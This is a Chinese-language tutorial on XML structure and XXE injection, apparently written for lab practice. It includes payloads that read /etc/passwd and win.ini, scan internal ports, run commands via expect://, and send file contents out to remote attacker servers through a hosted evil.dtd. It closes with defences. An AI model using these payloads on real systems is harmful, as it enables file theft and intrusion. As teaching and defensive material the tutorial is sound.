XML介绍
XML(全程EXtensible Markup Language,可拓展标记语言),其本质是一种数据格式,可以用来存储负载的数据结果和数据关系
XML特性
XML是一种标记语言,很类似html
xml中的"<标签名>" 称为一个标签或一个元素,一般是成对出现的
xml中的标签名是可以自己定义是(可扩展),但必须要正确的嵌套!<姓名></姓名>
xml中只能由一个跟标签/xml中的标签可以由属性
xml的设计宗旨是传输数据,而非显示数据
如果一个文本中放置的是xml格式的数据,这个文件就是xml文件,后缀要给上.xml
xml主要作用:传输和存储数据.两个应用程序之间的数据传输可以使用xml格式进行传输
XML结构/类型
XML文档组成结构包括:XML声明.DTD文档类型定义,文档元素
<?xml version="1.0" ?>
<!DOCTYPE note[
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>George</to>
<from>George</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
//PCDATA 的意思是被解析的字符数据
//CDATA 是不会被解析器解析的文本
XML声明
XML文档属性可写在声明中。 utf-8 gbk gb2312 xxx
<!--asdada--> #注释格式
文档类型定义
dtd(文档类型定义)的作用是用于定义xml文档格式的语法规则,它定义了文档可以包含哪些元素和属性,以及这些元素和属性在文档中的结构和顺序
dtd的声明:值xml文档中声明该文档的dtd或dtd来源部分
dtd有两种引用或声明的方式
1.内部dtd:即对xml文档中的元素,属性和实体的dtd的声明都在xml文档中
2.外部dtd:即对xml文档中的元素,属性和实体的dtd的声明都在一个独立的dtd文件(.dtd)中
内部DTD
内部dtd指的是直接在xml文档中声明元素,这时需要在xml的头部声明中添加属性standalone,并将该属性的值为 yes
<?xml version="1.0" encoding="utf-8" standalone="yes" ?>
<!DOCTYPE person [ <!-- person根元素 -->
<!ELEMENT person (name,age,address,country,major)> <!--定义person元素有四个元素-->
<!ELEMENT name (#PCDATA)> <!--<!ELEMENT 元素标签-->
<!ELEMENT age (#PCDATA)>
<!ELEMENT address (#PCDATA)>
<!ELEMENT country (#PCDATA)>
<!ENTITY % name "xiaoming"> <!-- 内部实体声明,声明name实体 -->
]>
<person>
<name>&name</name>
<age>24</age>
<address>1-1-110</address>
<country>China</country>
</person>
外部DTD
外部DTD元素定义在XML文档之外,可以是合法的.dtd文件,也可以是有效的URL。如果要引用外部DTD,那么在 XML的头部声明中,需要设置standalone属性为"no"即: standalone="no"
#引用外部DTD的格式:<!ENTITY 实现名 SYSTEM/PUBLIC "外部DTD的资源地址">
<!ENTITY test SYSTEM "http://www.exp.com/exp.dtd">
DTD文档中的重要关键字
1.DTD的声明(DOCTYPE):定义xml文档类型
2.元素声明(Element):定义xml文档中可以出现哪些元素,以及他们呢出现的顺序和关系
3.实体声明(ENTITY):定义文档中的实体
4.(SYSTEM,PUBLIC(外部资源申请))
实体
实体(ENTITY):如果在xml文档中需要频繁使用某一条数据,我们可以预先给这个数据起一个别名(类似变量),即一个ENTITY,然后再文档中调用它
内置实体 (Built-in entities)
字符实体 (Character entities)
通⽤实体 (General entities)
参数实体 (Parameter entities)
实体的定义:
#实体定义在 DTD声明中
<?xml version="1.0"?>
<!DOCTYPE sss [
<!ELEMENT sss ANY >
<!ENTITY xxe "hello" > <!--<!ENTITY 实体名称 实体值>-->
]>
#实体的应用在文档元素中
<sss>
<user>&xxe;</user>
<pass>pass</pass>
</sss>
这里定义元素为 ANY 表示可以接受任何元素作为标签,其中"xxe" 就是实体了(相当于一个变量),可以在XML文档
元素中使用 & 符号对实体进行引用。到时候输出的时候 &xxe; 就会被 hello 替换。
声明实体位置
1.内部实体声明
2.外部实体声明
内部实体
<!ENTITY 实体名称 “实体的值”>
一个实体由三部分构成: &符号, 实体名称, 分号 (;),这里&不论在GET还是在POST中都需要进行URL编码,因为是使
用参数传入xml的,&符号会被认为是参数间的连接符号,示例:
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "Thinking">
]>
<foo>&xxe;</foo>
外部实体
<!ENTITY name SYSTEM "URI/URL">
name实体的名称
SYSTEM关键字
URI/URL是双引号或单引号中包含的外部源的地址
外部实体示例:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ELEMENT foo >
<!ENTITY xxe(实体引用名) SYSTEM "http://www.exp.com/evil.dtd"(实体内容) >
]>
<foo>&xxe;</foo>
这种写法是从外部引入,可以是一个URL链接中的文件,也可以是本地的文件(这也就造成了安全的风险)
如上述案例:XML内容被解析后,文件内容便通过&xxe被存放在了foo元素中,造成了敏感信息的泄露。
参数实体
<!ENTITY % 实体名称 "实体的值">
或
<!ENTITY % 实体名称 SYSTEM "URI">
# 参数实体示例:
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://xxx.xxx.xxx.xx/evil.dtd" >
%xxe;
]>
<foo>&evil;</foo>
# 外部evil.dtd中的内容:
<!ENTITY evil "file:///c:/windows/win.ini" >
引用公共实体
<!ENTITY 实体名称 PUBLIC "public_ID" "URI/URL">
ps:参数实体是再DTD中被引用的,而其余实体是再xml文档中被引用的,另外定义参数实体%后面跟空格
外部引用支持协议
由于xxe漏洞主要是利用引入外部实体,而导致的漏洞,所以这里主要了解外部实体
外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,以下是各种语言外部实体的默认协议
根据程序不同,能够引入的实体也是不同的
文档元素
xml属性
xml支持再标签元素中定义属性,写法类似于html
<name changdu="3">Tom</name>
xml特殊字符处理
xml如果向表达特殊字符有两种方法.第一种方法是使用转义字符;第二种方式是使用CDATA区域
方法一:转义字符
转义字符 | 转移内容 |
& | & |
< | < |
> | > |
" | 引号(") |
| 空格 |
方法二:CDATA区域
xml规定,对于CDATA区域内的所有特殊字符不进行解析
<![CDATA[[CDATA区域内容]]]>
XML外部实体注入
漏洞简介
xml'外部实体注入,简称xxe漏洞,引发xxe漏洞的主要原因是xml解析依赖库libxml默认开启了对外部实体的引用,导致服务端再解析用户提交的xml信息时未作处理直接进行解析,导致加载恶意的外部文件和代码,造成任意文件读取,命令执行,内网扫描等危害
1.我们对服务端解析的xml数据时可控的
2.libxml开启了对外部实体的引用
利用条件:
libxml < 2.9 默认开启
ps:不同的xml解析器都有可能存在xxe漏洞,因为xxe漏洞是一种通用的攻击技术,其主要原理时利用解析器对外部实体的支持,导致恶意实体被注入并执行恶意代码
除了libxml外,其他xml解析器和库也可能收到xxe漏洞的影响,例如java中的sax解析,apache,xalan,jdom等,.net中的xmlreadder,xmlserialize等 php中的dom,simplexml等
漏洞危害
xml漏洞发生再应用程序解析xml输入时,没有进制外部实体的加载,导致加载恶意外部文件
文件读取; 内网端口扫描; 攻击内网网站; 命令执行等; doc攻击
漏洞类型
xxe漏洞的输出显示分为:有回显,无回显
有回显就能配合协议以及外部引用进行攻击.
无回显就需要配合外部引用-反向链接配合
XXE攻击-有回显
pikachu
漏洞攻击
1.POC:攻击测试
测试语句,如果能回显出来xxe(我们输入的xml数据,服务器会进行解析)则证明可能粗壮乃xxe漏洞
<?xml version = "1.0"?>
<!DOCTYPE a [<!ENTITY b "xxe">]><c>&b;</c>
2.poc:验证漏洞存在代码
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY % xxe SYSTEM "http://DNSLOG.COM" >
%xxe
]>
EXP查看文件
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]>
<a>&xxe;</a>
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY xxe SYSTEM "file:///etc/passwd" > ]>
<a>&xxe;</a>
exp查看文件源码
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=xxe_1.php" > ]>
<foo>&xxe;</foo>
扫描内网端口IP
通过扫描 ip 和端口确定内网机器的 ip 和端口开发情况,访问端口会获取 baner 信息;
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY test SYSTEM "http://127.0.0.1:80/1.txt">
]>
<abc>&test;</abc>
拓展:命令执行
再特定场景下,由于php的expect并不是默认安装拓展,如果安装了这个expect拓展我们就能直接利用xxe进行rce
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "expect://whoami">
]>
<x>&xxe;</x>
XXE-lab靶场
测试回显位置
通过测试,能看到用户名位置存在有回显的,而后面密码字段就无回显.
构造payload测试
读取敏感文件
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY name SYSTEM "file:///c://windows/win.ini">
]>
<user><username>&name;</username><password>1</password></user>
XXE攻击-无回显
误会先的情况又称为blind xxe可以使用外带数据通道提取数据.而且咋i正常的环境下,服务器通常都会把回显取消,因此我们解决该问题的最好的颁发就是使用外带的方式
DNSlog检测
DNSlog位置:
构造payload
其实这里的payload和之前的payload基本你一直,这里需要注意的时,我们复制的子域名时没有http:// 的需要我们自己添加上去,所以修改下payload的时候需要把http:// 后面的内容替换即可,设置好后,点击发送.
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY % d SYSTEM "http://vkhqo8.dnslog.cn">
%d;
]>
查看日志记录,发现有记录,证明存在漏洞
无回显数据外带
准备一台攻击服务器(120.46.60.126),并且开启服务器的访问日志.再根目录下创建一个evil.dtd文件
1.服务器开启web服务,再web目录保存evil.dtd文件
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-
encode/resource=file:///c:/windows/win.ini">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://120.46.60.126:8000?p=%file;'>">
2.构造Payload
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://43.143.175.225:8000/evil.dtd">
%remote;
%int;
%send;
]>
1. %remote 将我得evil.dtd文件内容引用过来
2. %int <!ENTITY % send SYSTEM 'http://154.204.56.118:8000:8000?p=%file;'>
3. 调用%file参数实体 win.ini内容获取到
4. %send 通过system关键字向外部网站发起数据请求
流程解释:
加载XML -> 调用参数实体%remote -> 远程加载evil.dtd文档(类似于包含) -> 执行evil中 %int参数实体 -> %int参数实体调用%file实体,读取win.ini内容 -> 然后执行%send参数实体,将数据发送到远端服务器中
描述:
我们从payload中能看到连续调用了三个参数实体 %remote; %int; %send; 这就是i我们的利用顺序,%remote先调用,调用后请求远程服务器上的evil.dtd,有点类似于将evil.dtd包含进来,然后%int调用evil.dtd中的%file,%file就会去获取服务器上的敏感文件,然后将%file的结果填入到%send 以后 (因为实体的值中不能有%,所以将其转成html实体编码%),我们再调用%send;把我们读取到的数据发送到我们的远程vps上 这样就实现了外带数据的效果,完美的解决了xxe无回显的问题
漏洞挖掘与修复
漏洞挖掘
手工挖掘
关注提交数据的类型.如果时xml格式的,就可以进行测试
关注数据包的Content-type值.如果时text/xml或者时application/xml,就可以关注该数据包
还可以尝试更改content-type值,例如原来的content-type时json,发送的也是json格式的数据,我们将content-type类型改为xml,数据也改为xml后,尝试是否可以成功
# 普通的请求包:
POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
foo=bar
# 可以替换为:
POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52
<foo>bar</foo>
防御方式
1.使用开发语言提供的禁用外部实体的方法:
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
2.过滤用户的输入
过滤用户提交的XML数据 ,关键词:、、SYSTEM、PUBLIC file gopher
3.升级libxml组件
扩展:
XXE Payload Listhttps://github.com/payloadbox/xxe-injection-payload-list